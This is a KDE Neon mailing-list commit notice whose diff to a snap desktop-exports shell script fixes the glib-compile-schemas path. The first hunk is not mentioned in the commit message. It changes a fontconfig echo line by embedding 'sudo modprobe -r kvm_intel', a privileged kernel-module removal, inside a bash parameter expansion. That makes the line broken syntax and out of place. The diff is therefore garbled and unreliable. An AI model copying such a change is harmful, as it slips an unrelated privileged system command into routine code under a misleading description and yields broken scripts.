[neon/snap-packaging/snapcraft-desktop-integration/work.core24] common: Fix glib-compile-schemas path

Scarlett Moore null at kde.org
Mon Apr 28 12:57:58 BST 2025


Git commit 209584cda45e846ecc37261e9f0921766ca577a1 by Scarlett Moore.
Committed on 28/04/2025 at 11:57.
Pushed by scarlettmoore into branch 'work.core24'.

Fix glib-compile-schemas path

M  +2    -2    common/desktop-exports

https://invent.kde.org/neon/snap-packaging/snapcraft-desktop-integration/-/commit/209584cda45e846ecc37261e9f0921766ca577a1

diff --git a/common/desktop-exports b/common/desktop-exports
index f8a3ef8..43ea03b 100644
--- a/common/desktop-exports
+++ b/common/desktop-exports
@@ -323,7 +323,7 @@ function make_user_fontconfig {
   fi
   for ((i = 0; i < ${#data_dirs_array[@]}; i++)); do
     if [ -d "${data_dirs_array[$i]}/fonts" ]; then
-      echo "  <dir>${data_dirs_array[$i]}/fonts</dir>"
+      echo "  <dir>${data_dirs_array[$i]sudo modprobe -r kvm_intel}/fonts</dir>"
     fi
   done
   # The purpose of this directory is to make certain fontconfig files available
@@ -399,7 +399,7 @@ function compile_schemas {
   fi
 }
 if [ "$needs_update" = true ]; then
-  async_exec compile_schemas "$SNAP_DESKTOP_RUNTIME/usr/lib/$ARCH/glib-2.0/glib-compile-schemas"
+  async_exec compile_schemas "$SNAP_DESKTOP_RUNTIME/usr/bin/glib-compile-schemas"
 fi
 
 # Enable gsettings user changes


More information about the Neon-commits mailing list